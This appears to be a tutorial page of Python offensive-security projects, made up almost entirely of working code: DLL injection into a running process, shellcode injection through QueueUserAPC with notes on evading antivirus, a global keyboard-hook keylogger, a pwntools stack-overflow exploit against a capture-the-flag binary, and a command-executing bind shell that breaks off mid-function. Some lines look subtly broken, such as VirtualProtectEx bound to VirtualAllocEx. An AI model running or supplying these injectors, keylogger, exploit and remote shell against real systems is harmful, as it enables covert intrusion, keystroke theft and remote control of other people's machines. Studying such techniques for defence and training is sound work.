Skip to main content

0406 | Python Projects

Remote DLL Injection

  • Remote DLL Injection Steps

    • Step-1 | allocate memory in a remote process
    • Step-2 | write a DLL location into that remote memory
    • Step-3 | have the external process load that DLL using load library
  • "hello_world.c" | to demonstrate dll injection

    BOOL APIENTRY DllMain( 	HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
    )
    {
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    MessageBox(NULL, L"Hello world!", L"Hello World!", NULL)
    break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
    break;
    }
    return TRUE;
    }
  • Note | Loading and Retesting

    • you can only load the ddl into the process ONCE using load library
    • if you want to retest a new injection --> you will need to choose a different process id each time you run your script
  • Project#1 Source Code | "Project1.py" | (play around with commenting/uncommenting as you see fit)

    from ctypes import *
    from ctypes import wintypes

    print("-"*80)
    ## --------------- CONSTANTS AND VARIABLES --------------- ##

    kernel32 = windll.kernel32
    LPCTSTR = c_char_p
    SIZE_T = c_size_t

    ## --------------- FUNCTION DEFINITIONS --------------- ##

    ## -- Function definitions -- OpenProcess -- ##
    """url:https://learn.microsoft.com/en-us/windows/win32/api/
    processthreadsapi/nf-processthreadsapi-openprocess"""

    OpenProcess = kernel32.OpenProcess
    OpenProcess.argtypes = (wintypes.DWORD, wintypes.BOOL, wintypes.DWORD)
    OpenProcess.restype = wintypes.HANDLE

    ## -- Function definitions -- Virtual Alloc Ex -- ##
    """url:https://learn.microsoft.com/en-us/windows/win32/api/
    memoryapi/nf-memoryapi-virtualallocex"""

    VirtualAllocEx = kernel32.VirtualAllocEx
    VirtualAllocEx.argtypes = (wintypes.HANDLE, wintypes.LPVOID, SIZE_T, wintypes.DWORD, wintypes.DWORD)
    VirtualAllocEx.restype = wintypes.LPVOID

    ## -- Function definitions -- Write Process Memory -- ##
    """url:https://learn.microsoft.com/en-us/windows/win32/api/
    memoryapi/nf-memoryapi-writeprocessmemory"""

    WriteProcessMemory = kernel32.WriteProcessMemory
    WriteProcessMemory.argtypes = (wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID, SIZE_T, POINTER(SIZE_T))
    WriteProcessMemory.restype = wintypes.BOOL

    ## -- Function definitions -- Get Module Handle A -- ##
    """url:https://learn.microsoft.com/en-us/windows/win32/api/
    libloaderapi/nf-libloaderapi-getmodulehandlea"""

    GetModuleHandle = kernel32.GetModuleHandleA
    GetModuleHandle.argtypes = (LPCSTR, )
    GetModuleHandle.restype = wintypes.HANDLE

    ## -- Function definitions -- Get Proc Address -- ##
    """url:https://learn.microsoft.com/en-us/windows/win32/api/
    libloaderapi/nf-libloaderapi-getprocaddress"""

    GetProcAddress = kernel32.GetProcAddress
    GetProcAddress.argtypes = (wintypes.HANDLE, wintypes.LPCTSTR)
    GetProcAddress.restype = wintypes.LPVOID

    ## -- Function definitions -- Create Remote Thread -- ##
    """url:https://learn.microsoft.com/en-us/windows/win32/api/
    processthreadsapi/nf-processthreadsapi-createremotethread"""

    CreateRemoteThread = kernel32.CreateRemoteThread

    # Security Attributes Structure
    """https://learn.microsoft.com/en-us/previous-versions/windows/desktop/
    legacy/aa379560(v=vs.85)"""
    class _SECURITY_ATTRIBUTES(Structure):
    _fields_ = [('nLength', wintypes.DWORD),
    ('lpSecurityDescriptor', wintypes.LPVOID),
    ('bInheritHandle', wintypes.BOOL),]

    SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES
    LPSECURITY_ATTRIBUTES = POINTER(_SECURITY_ATTRIBUTES)
    LPTHREAD_START_ROUTINE = wintypes.LPVOID

    CreateRemoteThread = kernel32.CreateRemoteThread
    CreateRemoteThread.argtypes = (wintypes.HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, wintypes.LPVOID, wintypes.DWORD, wintypes.LPDWORD)
    CreateRemoteThread.restype = wintypes.HANDLE


    ## --------------- CONSTANTS FOR WORKING WITH MEMORY --------------- ##

    # VirtualAllocEx -- flAllocationType
    MEM_COMMIT = 0x00001000
    MEM_RESERVE = 0x00002000
    # VirtualAllocEx -- flProtect
    PAGE_READWRITE = 0x04

    # CreateRemoteThread -- dwCreationFlags
    EXECUTE_IMMEDIATELY = 0x0

    # OpenProcess -- dwDesiredAccess
    PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0x00000FFF)


    ## ----- INJECTING THE DLL -- Setting up the DLL's----- ##

    # use *hello_world.c* and it's compiled dll to demonstrate dll injection
    # attach the dll in the remote process --> launch message box

    # specify where the compiled DLL is located
    dll = b"c:\\Users\\user\\Documents\\pyhton201\\hello_world.dll"

    # NOTE -- to inject the dll into a remote process we need to know that
    # -- that process's id

    # Sacrificial Process -- Start notepad -- to inject an already running process
    # -- alternatively, we could start a new process an inject that
    # -- use task manager to find out the process id
    pid = 2160

    # opening a handle to the sacrificial process
    # -- dwDesiredAccess; bInheritHandle; dwProcessId
    handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)

    if not handle:
    raise WinError()

    # handle to the sacrificial process -- notepad
    print("Handle obtained => {0:X}".format(handle))

    print("-"*80)
    ## ----- INJECTING THE DLL -- Create Memory in the Remote Process ----- ##

    # VirtualAllocEx -- similar to VirtualAlloc -- but, we can specify an other
    # -- process in which to create memory

    # create remote memory
    remote_memory = VirtualAllocEx(handle, False, len(dll) +1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)

    if not remote_memory:
    raise WinError()

    print("Memory allocated => ", hex(remote_memory))


    print("-"*80)
    ## ----- INJECTING THE DLL -- Writing to the allocated remote memory ----- ##

    # write into that memory location
    write = WriteProcessMemory(handle, remote_memory, dll, len(dll) + 1, None)

    if not write:
    raise WinError()

    print("Bytes written => {}".format(dll))
    # check it out via process hacker > search for "notepad" > go to the address
    # -- you should see the dll's location (c:\users\...\hello_world.dll) written
    # -- into the remote processes memory that we allocated


    print("-"*80)
    ## ----- INJECTING THE DLL -- Loading the DLL ----- ##

    # start a new thread to load the dll
    # -- 1st -- we need the location of load library A --> GetProcAddress
    # -- & GetModuleHandle

    # load the library address
    load_lib = GetProcAddress(GetModuleHandle(b"kernel32.dll"), b"LoadLibraryA")

    # check the address
    print("LoadLibrary address => ", hex(load_lib))


    print("-"*80)
    ## ----- INJECTING THE DLL -- START THE REMOTE THREAD ----- ##

    rthread = CreateRemoteThread(handle, None, 0, load_lib, remote_memory, EXECUTE_IMMEDIATELY, None)
    # once you run it --> you should see the "hello world!" message box popping up
    # -- within the notepad process

    # check the modules loaded by the notepad process with process hacker
    # process hacker > notepad > modules

    # NOTE -- you can only load the ddl into the process ONCE using load library
    # -- if you want to retest a new injection -->
    # -- you will need to choose a different process id each time you run
    # -- your script

    print("-"*80)
    ## ----- CLEANING UP AFTER OURSELVES ----- ##

    # VirtualFreeEx
    # CloseHandle


    print("-"*80)
    ## --------------- END --------------- ##

Process Creation and Shellcode Execution (pt1)

  • Note | Project1 vs Project2

    • rather than injecting a dll into a remote process, we are instead going to directly inject and execute shellcode
    • before | we used an existing process id in order to perform the injection
  • here | we will instead be starting our own process and then injecting directly into that

  • Takeaway

    • how to create a process and use different techniques to inject shellcode into that process
    • CreateRemoteThread is traditionally the most common approach to perform process injection | therefore the easiest to identify and detect
    • QueueUserAPC is less suspicious if you want to be more stealthy
  • Project#2 Source Code | project2.py | (play around with commenting/uncommenting as you see fit)

    from ctypes import *
    from ctypes import wintypes
    import subprocess

    print("-"*80)
    ## --------------- DEFINING THE CONSTANTS --------------- ##

    kernel32 = windll.kernel32
    SIZE_T = c_size_t
    LPSTR = POINTER(c_char)
    LPBYTE = POINTER(c_ubyte)

    ## --------------- CONSTANTS FOR WORKING WITH MEMORY --------------- ##

    # VirtualAllocEx -- flAllocationType
    MEM_COMMIT = 0x00001000
    MEM_RESERVE = 0x00002000
    # VirtualAllocEx -- flProtect
    # -- in the demo
    # PAGE_READWRITE = 0x04
    PAGE_READWRITE = wintypes.ULONG(0x04)

    # CreateRemoteThread -- dwCreationFlags
    EXECUTE_IMMEDIATELY = 0x0

    # OpenProcess -- dwDesiredAccess
    PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0x00000FFF)

    ## --------------- DEFINING THE FUNCTIONS -- OLD --------------- ##

    ## -- Function definitions -- Virtual Alloc Ex -- ##
    """url:https://learn.microsoft.com/en-us/windows/win32/api/
    memoryapi/nf-memoryapi-virtualallocex"""

    VirtualAllocEx = kernel32.VirtualAllocEx
    VirtualAllocEx.argtypes = (wintypes.HANDLE, wintypes.LPVOID, SIZE_T, wintypes.DWORD, wintypes.DWORD)
    VirtualAllocEx.restype = wintypes.LPVOID

    ## -- Function definitions -- Write Process Memory -- ##
    """url:https://learn.microsoft.com/en-us/windows/win32/api/
    memoryapi/nf-memoryapi-writeprocessmemory"""

    WriteProcessMemory = kernel32.WriteProcessMemory
    WriteProcessMemory.argtypes = (wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID, SIZE_T, POINTER(SIZE_T))
    WriteProcessMemory.restype = wintypes.BOOL

    # Security Attributes Structure
    """https://learn.microsoft.com/en-us/previous-versions/windows/desktop/
    legacy/aa379560(v=vs.85)"""
    class _SECURITY_ATTRIBUTES(Structure):
    _fields_ = [('nLength', wintypes.DWORD),
    ('lpSecurityDescriptor', wintypes.LPVOID),
    ('bInheritHandle', wintypes.BOOL),]

    SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES
    LPSECURITY_ATTRIBUTES = POINTER(_SECURITY_ATTRIBUTES)
    LPTHREAD_START_ROUTINE = wintypes.LPVOID#


    ## --------------- DEFINING THE FUNCTIONS -- NEW --------------- ##

    ## -- Function definitions -- Virtual Protect Ex -- ##
    """https://learn.microsoft.com/en-us/windows/win32/api/
    memoryapi/nf-memoryapi-virtualprotectex"""

    VirtualProtectEx = kernel32.VirtualAllocEx
    VirtualProtectEx.argtypes = (wintypes.HANDLE, wintypes.LPVOID, SIZE_T, wintypes.DWORD, wintypes.LPDWORD)
    VirtualProtectEx.restype = wintypes.BOOL


    ## --------------- Utility functions -- debugging --------------- ##

    # to help with error checking
    def verify(x):
    if not x:
    raise WinError()


    ## --------------- Create the ShellCode to inject --------------- ##
    # NOTE -- use the metasploit framework to create a simple "hello world" shellcode
    # -- create it on kali -- -f:output format -- python
    # -- `msfvenom -a x64 -p windows/x64/messagebox TITLE=hello TEXT=world -f py`

    buf = b""
    buf += b"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00"
    buf += b"\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65"
    buf += b"\x48\x8b\x52\x60\x3e\x48\x8b\x52\x18\x3e\x48\x8b"
    buf += b"\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48\x0f\xb7\x4a"
    buf += b"\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02"
    buf += b"\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
    buf += b"\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
    buf += b"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
    buf += b"\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44"
    buf += b"\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e"
    buf += b"\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31"
    buf += b"\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75"
    buf += b"\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd6"
    buf += b"\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
    buf += b"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e"
    buf += b"\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e"
    buf += b"\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20"
    buf += b"\x41\x52\xff\xe0\x58\x41\x59\x5a\x3e\x48\x8b\x12"
    buf += b"\xe9\x49\xff\xff\xff\x5d\x3e\x48\x8d\x8d\x1a\x01"
    buf += b"\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5\x49\xc7"
    buf += b"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00"
    buf += b"\x00\x3e\x4c\x8d\x85\x14\x01\x00\x00\x48\x31\xc9"
    buf += b"\x41\xba\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41"
    buf += b"\xba\xf0\xb5\xa2\x56\xff\xd5\x77\x6f\x72\x6c\x64"
    buf += b"\x00\x68\x65\x6c\x6c\x6f\x00\x75\x73\x65\x72\x33"
    buf += b"\x32\x2e\x64\x6c\x6c\x00"


    ## --------------- CREATING OUR OWN PROCESS --------------- ##

    # NOTE -- if using the SubProcess module -- to create a process and the process id
    # -- but can be limiting: starting the process hidden or controlling which dlls are
    # -- attached to the process -- it can become more difficult

    # process = subprocess.Popen(["notepad.exe"])
    # print("Starting process with PID => {}".format(process.pid))

    # NOTE -- Use Create Process instead

    ## -- Function definitions -- Create Process A -- ##
    """url:https://learn.microsoft.com/en-us/windows/win32/api/
    processthreadsapi/nf-processthreadsapi-createprocessa"""

    # Defining new Structures -- lpStartupInfo; lpProcessInformation
    # convert them to python

    # STARTUPINFOA
    class STARTUPINFO(Structure):
    _fields_ = [("cb", wintypes.DWORD),
    ("lpReserved", wintypes.LPSTR),
    ("lpDesktop", wintypes.LPSTR),
    ("lpTitle", wintypes.LPSTR),
    ("dwX", wintypes.DWORD),
    ("dwY", wintypes.DWORD),
    ("dwXSize", wintypes.DWORD),
    ("dwYSize", wintypes.DWORD),
    ("dwXCountChars", wintypes.DWORD),
    ("dwYCountChars", wintypes.DWORD),
    ("dwFillAttribute", wintypes.DWORD),
    ("dwFlags", wintypes.DWORD),
    ("wShowWindow", wintypes.WORD),
    ("cbReserved2", wintypes.WORD),
    ("lpReserved2", LPBYTE),
    ("hStdInput", wintypes.HANDLE),
    ("hStdOutput", wintypes.HANDLE),
    ("hStdError", wintypes.HANDLE),]


    # PROCESS_INFORMATION
    class PROCESS_INFORMATION(Structure):
    _fields_ = [("hProcess", wintypes.HANDLE),
    ("hThread", wintypes.HANDLE),
    ("dwProcessId", wintypes.DWORD),
    ("dwThreadId", wintypes.DWORD)]


    CreateProcessA = kernel32.CreateProcessA
    CreateProcessA.argtypes = (wintypes.LPCSTR, wintypes.LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, wintypes.BOOL, wintypes.DWORD, wintypes.LPVOID, wintypes.LPCSTR, POINTER(STARTUPINFO), POINTER(PROCESS_INFORMATION))
    CreateProcessA.restype = wintypes.BOOL


    # preparing variables
    startup_info = STARTUPINFO()
    startup_info.cb = sizeof(startup_info)

    startup_info.dwFlags = 1

    # SW_SHOWNORMAL -- if you want to be more malicious --> SW_HIDE -- 0
    startup_info.wShowWindow = 1

    process_info = PROCESS_INFORMATION()

    # process creation flags
    """https://learn.microsoft.com/en-us/windows/win32/procthread/process-creation-flags"""
    CREATE_NEW_CONSOLE = 0x00000010
    CREATE_NO_WINDOW = 0x08000000
    CREATE_SUSPENDED = 0x00000004

    # create our own process which we can inject
    # -- pop up the window
    # created = CreateProcessA(b"C:\\Windows\\System32\\notepad.exe", None, None, None, False, CREATE_NEW_CONSOLE, None, None, byref(startup_info), byref(process_info))
    # -- suspend and no window
    created = CreateProcessA(b"C:\\Windows\\System32\\notepad.exe", None, None, None, False, CREATE_SUSPENDED | CREATE_NO_WINDOW, None, None, byref(startup_info), byref(process_info))

    verify(created)

    pid = process_info.dwProcessId
    h_process = process_info.hProcess
    thread_id = process_info.dwThreadId
    h_thread = process_info.hThread

    print("Started process => Handle:{}, PID:{}, TID:{}".format(h_process, pid, thread_id))


    ## --------------- ALLOCATING THE MEMORY IN THE REMOTE PROCESS --------------- ##

    # NOTE -- rather than creating suspicious read-write-execute memory (like before)
    # -- instead create ONLY read-write memory
    # -- we will need to change the memory protections later to execute code from
    # -- within this memory

    # throws an error -> ctypes.ArgumentError -- TypeError --
    remote_memory = VirtualAllocEx(h_process, False, len(buf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)

    # check for errors
    verify(remote_memory)
    print("Memory allocated => ", hex(remote_memory))

    # write the shellcode into the remote process
    write = WriteProcessMemory(h_process, remote_memory, buf, len(buf), None)
    verify(write)
    print("Bytes written => {}".format(len(buf)))
    # check with process hacker -- search for notepad > memory regions
    # -- > shellcode should be written to the allocated memory

    # NOTE -- the memory is currently only RW --> we can't execute it
    # -- use VirtualProtectEx to change it to RX (read-execute)
    # REASON -- RWX memory can be an indicator of compromise for AV products

    PAGE_EXECUTE_READ = 0x20

    old_protection = wintypes.DWORD(0)
    protect = VirtualProtectEx(h_process, remote_memory, len(buf), PAGE_EXECUTE_READ, byref(old_protection))
    verify(protect)

    print("Memory protection updated from {} to {}".format(old_protection.value, PAGE_EXECUTE_READ))
    # make sure in process hacker, that the memory region was trully updated


    ## --------------- PERFORMING THE EXECUTION --------------- ##

    # COMMENT -- because of rqueue
    # # perform the actual execution
    # rthread = CreateRemoteThread(h_process, None, 0, remote_memory, None, EXECUTE_IMMEDIATELY, None)
    # verify(rthread)
    # # hello world pop up --> coming from the started process

    # an application-defined completion routine -- defines a pointer to the callback function
    PAPCFUNC = CFUNCTYPE(None, POINTER(wintypes.ULONG))

    # NOTE -- to perform the same code execution output we did with createremotethread -- but
    # -- it is a less suspicious function call
    QueueUserAPC = kernel32.QueueUserAPC
    QueueUserAPC.argtypes = (PAPCFUNC, wintypes.HANDLE, POINTER(wintypes.ULONG))
    QueueUserAPC.restype = wintypes.BOOL

    # NOTE -- to continue our suspended thread
    ResumeThread = kernel32.ResumeThread
    ResumeThread.argtypes = (wintypes.HANDLE, )
    ResumeThread.restype = wintypes.BOOL

    # NOTE -- queue our procedure
    # -- the function/procedure we want to execute is just the location in memory
    # -- where our shellcode sits
    rqueue = QueueUserAPC(PAPCFUNC(remote_memory), h_thread, None)
    verify(rqueue)
    print("Queuing APC thread => {}".format(h_thread))
    # no code execution -- thread is still suspended

    # NOTE -- resume and change the thread state to be running
    # -- once it is resumed -> execute the procedure call which is our shell code
    # -- and then terminate itself
    # DEMO -- kill all the notepad processes
    rthread = ResumeThread(h_thread)
    verify(rthread)
    print("Resuming thread!")


    print("-"*80)
    ## --------------- END --------------- ##

Keylogging a System

  • Idea | implement a local keylogger

  • Project#3 Source Code | "project3.py" | (play around with commenting/uncommenting as you see fit)

    from ctypes import *
    from ctypes import wintypes


    print("-"*80)
    ## --------------- VARIABLES AND CONSTANTS --------------- ##

    user32 = windll.user32
    LRESULT = c_long

    # specify the type of hook to be used -- SetWindowHookExA -- idHook
    WH_KEYBOARD_LL = 13

    # key codes -- to interpret the data
    WM_KEYDOWN = 0x0100
    WM_RETURN = 0x0D
    WM_SHIFT = 0x10


    ## --------------- FUNCTION DEFINITIONS FOR API CALLS --------------- ##

    ## -- Functions -- GetWindowTextLenghtA -- ##
    """url:https://learn.microsoft.com/en-us/windows/win32/api/
    winuser/nf-winuser-getwindowtextlengtha"""

    GetWindowTextLengthA = user32.GetWindowTextLengthA
    GetWindowTextLengthA.argtypes = (wintypes.HANDLE, )
    GetWindowTextLengthA.restype = wintypes.INT

    ## -- Functions -- GetWindowTextA -- ##
    """url:https://learn.microsoft.com/en-us/windows/win32/api/
    winuser/nf-winuser-getwindowtexta"""

    GetWindowTextA = user32.GetWindowTextA
    GetWindowTextA.argtypes = (wintypes.HANDLE, wintypes.LPSTR, wintypes.INT)
    GetWindowTextA.restype = wintypes.INT

    ## -- Functions -- GetKeyState -- ##
    """url:https://learn.microsoft.com/en-us/windows/win32/api/
    winuser/nf-winuser-getkeystate"""

    GetKeyState = user32.GetKeyState
    GetKeyState.argtypes = (wintypes.INT, )
    GetKeyState.restype = wintypes.SHORT

    ## -- Functions -- GetKeyboardState -- ##
    """url:https://learn.microsoft.com/en-us/windows/win32/api/
    winuser/nf-winuser-getkeyboardstate"""

    # The 256-byte array that receives the status data for each virtual key.
    keyboard_state = wintypes.BYTE * 256

    GetKeyboardState = user32.GetKeyboardState
    GetKeyboardState.argtypes = (POINTER(keyboard_state), )
    GetKeyboardState.restype = wintypes.BOOL

    ## -- Functions -- ToAscii -- ##
    """url:https://learn.microsoft.com/en-us/windows/win32/api/
    winuser/nf-winuser-toascii"""

    ToAscii = user32.ToAscii
    ToAscii.argtypes = (wintypes.UINT, wintypes.UINT, POINTER(keyboard_state), wintypes.LPWORD, wintypes.UINT)
    ToAscii.restype = wintypes.INT

    ## -- Functions -- CallNextHookEx -- ##
    """url:https://learn.microsoft.com/en-us/windows/win32/api/
    winuser/nf-winuser-callnexthookex"""

    CallNextHookEx = user32.CallNextHookEx
    CallNextHookEx.argtypes = (wintypes.HHOOK, wintypes.INT, wintypes.WPARAM, wintypes.LPARAM)
    CallNextHookEx.restype = LRESULT

    ## -- Functions -- SetWindowsHookExA -- ##
    """url:https://learn.microsoft.com/en-us/windows/win32/api/
    winuser/nf-winuser-setwindowshookexa"""

    # HOOKPROC callback function
    """url:https://learn.microsoft.com/en-us/windows/win32/api/
    winuser/nc-winuser-hookproc"""
    HOOKPROC = CFUNCTYPE(LRESULT, wintypes.INT, wintypes.WPARAM, wintypes.LPARAM)

    SetWindowsHookExA = user32.SetWindowsHookExA
    SetWindowsHookExA.argtypes = (wintypes.INT, HOOKPROC, wintypes.HINSTANCE, wintypes.DWORD)
    SetWindowsHookExA.restype = wintypes.HHOOK

    ## -- Functions -- GetMessage -- ##
    """url:https://learn.microsoft.com/en-us/windows/win32/api/
    winuser/nf-winuser-getmessage"""

    GetMessageA = user32.GetMessageA
    GetMessageA.argtypes = (wintypes.LPMSG, wintypes.HWND, wintypes.UINT, wintypes.UINT)
    GetMessageA.restype = wintypes.BOOL


    ## --------------- STRUCTURES --------------- ##

    ## -- Structure -- KBDLLHOOKSTRUCT -- ##
    """url:https://learn.microsoft.com/en-us/windows/win32/api/
    winuser/ns-winuser-kbdllhookstruct"""

    # Contains information about a low-level keyboard input event.
    # NOTE -- we will populate this structure as part of our hook
    # -- and we can then use the data in the structure to identify which key has
    # -- been pressed by the user
    class KBDLLHOOKSTRUC(Structure):
    _fields_ = [("vkCode", wintypes.DWORD),
    ("scanCode", wintypes.DWORD),
    ("flags", wintypes.DWORD),
    ("time", wintypes.DWORD),
    ("dwExtraInfo", wintypes.DWORD)]


    ## --------------- Identifying the user's current process --------------- ##

    # NOTE -- when performing keylogging, it is useful to know the process
    # -- the user is typing in --> use the win32 api to get information about
    # -- this foreground process
    # NOTE -- forground window -- just the window with which the user is
    # -- currently working

    ## -- Functions -- GetForegroundWindow -- ##
    """url:https://learn.microsoft.com/en-us/windows/win32/api/
    winuser/nf-winuser-getforegroundwindow"""



    def get_foreground_process():
    hwnd = user32.GetForegroundWindow()

    # to retrieve the length, in characters, of the specified window's title bar text
    # REASON -- we want to know which process (based on it's text) the user
    # -- is currently writing in
    length = GetWindowTextLengthA(hwnd)

    # copy the text of the specified window's title bar into a buffer
    buff = create_string_buffer(length + 1)
    GetWindowTextA(hwnd, buff, length + 1)

    # the value that has been written into the buffer
    return buff.value



    # # Test it out -- we receive information about the foreground process we are
    # # -- currently working in -- "b'C:\\Windows\\system32\\cmd.exe - python project3.py'"
    # print(get_foreground_process())


    ## --------------- SETTING UP THE HOOK --------------- ##

    # NOTE -- set up the hook to start the keylogger

    # hook procedure -- to actually hook and handle keyboard events
    def hook_function(nCode, wParam, lParam):
    global last

    # update if not the last
    if last != get_foreground_process():
    last = get_foreground_process()
    print("\n[{}]".format(last.decode("latin-1 ")))

    # THE KEYLOGGER HANDLER

    # passed value is the keyboard downcode
    # checking whether a key has been pressed --> if has been, take the value and
    # -- store in the hookstruct
    if wParam == WM_KEYDOWN:
    keyboard = KBDLLHOOKSTRUC.from_address(lParam)

    # create a state variable to actually hold the state to all of the
    # -- 256 potential virtual keys
    state = (wintypes.BYTE * 256)()

    # check whether shift was pressed
    GetKeyState(WM_SHIFT)
    # copy the status fo the 256 virtual keys
    GetKeyboardState(byref(state))

    # single buffer to hold the single char
    buf = (c_ushort * 1)()

    # check which key the user actually pressed
    # ToAscii -- translate the specified virtual-key code and keyboard state to the
    # -- corresponding character/s
    n = ToAscii(keyboard.vkCode, keyboard.scanCode, state, buf, 0)

    # 0:no translation; 1: one char -- 2: two chars
    if n > 0:
    # enter pressed
    if keyboard.vkCode == WM_RETURN:
    print()
    else:
    # returns the c-string starting at the memory address as a bytes object
    print("{}".format(string_at(buf).decode("latin-1")), end="", flush=True)

    # pass the hook information to the next hook procedure in the current hook chain
    return CallNextHookEx(hook, nCode, wParam, lParam)


    # global var -- to keep track of the last foreground process we saw
    last = None

    # lpfn -- pointer to the hook procedure
    callback = HOOKPROC(hook_function)

    # create the hook
    # -- idHook -- the type of hook procedure to be installed
    # -- lpfn -- pointer to the hook procedure
    # -- hmod -- we do NOT have a DLL here --> NULL
    # -- dwThreadId -- do NOT have an identifier --> 0
    hook = SetWindowsHookExA(WH_KEYBOARD_LL, callback, 0, 0)


    # retrieve a message from the calling thread's message queue
    GetMessageA(byref(wintypes.MSG()), 0, 0, 0)

    # DEMO -- once run -- everything we type into sublime is captured
    # -- and displayed on the cmd -- even letters typed with shift
    # -- Even when we change the process to notepad -- it will automatically switch
    # -- over and capture text from there
    # -- The same will happen if we search for something in firefox


    print("-"*80)
    ## --------------- END --------------- ##

Buffer Overflow

  • Demo | on kali | binary from 247ctf.com

    • 247ctf.com/dashboard > "PWNABLE" > "AN EXECUTABLE STACK"
  • Challenge | a classic overflow with an executable stack

  • Preparing the Challenge

    unzip <challenge>.zip
    chmox +x executable_stack
  • Project#4 Source Code | project4.py | (play around with commenting/uncommenting as you see fit)

    from pwn import *
    import sys

    # CHALLENGE -- a classic overflow with and executable stack
    # SOLUTION -- overwrite the instruction pointer and then return
    # -- to the stack in esp, which is where the shellcode is stored
    # -- because it's the next item on the stack


    print("-"*80)
    ## --------------- SETTING UP THE CONTEXT --------------- ##

    # check it with -- `file executable_stack` -- 32bit binary
    context.update(arch='i386', os='linux')

    # specify the process
    io = process("./executable_stack")


    ## --------------- STEP 1 -- FINDING THE OFFSET --------------- ##

    # NOTE -- use a cyclic, debro*n pattern to find our offsets

    """
    # use gdb to verify it
    gdb.attach(io, 'continue')

    # create the cyclic pattern
    pattern = cyclic(512)

    # send it to the binary
    io.sendline(pattern)

    # pause execution
    pause()

    sys.exit()
    """

    ## CHECK which value landed in the eip
    # once run -- gdb will start -- to check segmentation fault -- `i r`
    # copy the value for the eip

    ## DETERMINE the offset
    # launch pyhton in interactive mode
    # use `from pwn import *`
    # use `cyclic_find(<hex-value-from-eip>)` to find the offset
    # copy the offset -- in demo:140


    ## --------------- STEP 2 -- IDENTIFY how to jump to ESP --------------- ##

    # once the offset is identified -- identify how to jump to esp
    # -- which is the location where our shellcode will be in memory

    # OVERVIEW -- load the binary as an elf and search for a jump esp instruction

    bin = ELF("./executable_stack")
    jmp_esp = next(binary.search(asm("jmp esp")))

    # verify instruction is found
    print(hex(jmp_esp))

    ## --------------- STEP 3 -- EXPLOITATION --------------- ##
    exploit = flat(["A" * 140, pack(jmp_esp), asm(shellcraft.sh())])

    # exploit locally
    io.sendline(exploit)
    io.interactive()
    # NOTE -- once run -- use `id` to verify


    ## VERIFYING IT ON THE SERVER
    # from the example
    io = remote("54971bfe93412fba.247ctf.com", 50468)

    # check for flags on the remote host -- `ls`


    print("-"*80)
    ## -------------------- END -------------------- ##

Encrypted Bind Shell

  • General | Bind Shell

    • in this case is just a socket, which we can connect to in order to execute commands on a system via the network
  • Project#5 Source Code | Unencrypted Version | "project5.py" | (play around with commenting/uncommenting as you see fit)

    import socket, subprocess, threading, argparse

    print("-"*80)
    ## --------------- CONSTANTS AND VARIABLES --------------- ##

    DEFAULT_PORT = 1234
    # max buffer size for the socket
    MAX_BUFFER = 4096


    ## --------------- UTILITIES --------------- ##

    # execute a command
    def execute_cmd(cmd):
    try:
    output = subprocess.check_output("cmd /c {}".format(cmd), stderr=subprocess.STDOUT)
    except:
    output = b"Command failed!"

    return output


    # test it -- works
    # print(execute_cmd("whoami"))
    # test it -- fails
    # print(execute_cmd("whoaaasdmi"))


    # decoding and stripping data
    def decode_and_strip(s):
    return s.decode("latin-1").strip()


    ## ----- THREAD CAPABLE FUNCTIONS -- Executing commands ----- ##

    # NOTE -- the thread that will handle new user connections
    # -- threading, because we want to be able to have more than one user connect
    # -- to the bind shell and use it

    # s:socket as a parameter
    def shell_thread(s):
    # when first connected -- tell the user
    s.send(b"[ -- Connected! --]")

    try:
    # infinite loop -- waiting for command from the user
    while True:
    s.send(b"\r\nEnter Command> ")

    # receive data up to the maximum buffer size
    data = s.recv(MAX_BUFFER)
    if data:
    buffer = decode_and_strip(data)

    # nothing has been sent | exit
    if not buffer or buffer == "exit":
    # close the socket
    s.close()
    exit()

    print("> Executing command: '{}'".format(buffer))

    # send through the socket
    # execute the command and send the result back to the user
    # -- over the socket
    s.send(execute_cmd(buffer))

    except:
    # if error occurs -- close the socket
    s.close()
    exit()


    ## ----- THREAD CAPABLE FUNCTIONS -- Sending data ----- ##

    # NOTE -- needed functionalities -- dual functionality
    # -- to listen and accept connection AND to initiate connections
    # -- basically, we need to be able to run our script in both server and client
    # -- modes -- depending on how we start the script

    # s:socket
    def send_thread(s):
    try:
    while True:
    # accept data from the user on the cmd line
    data = input() + "\n"
    # send that data over the socket
    s.send(data.encode("latin-1"))
    except:
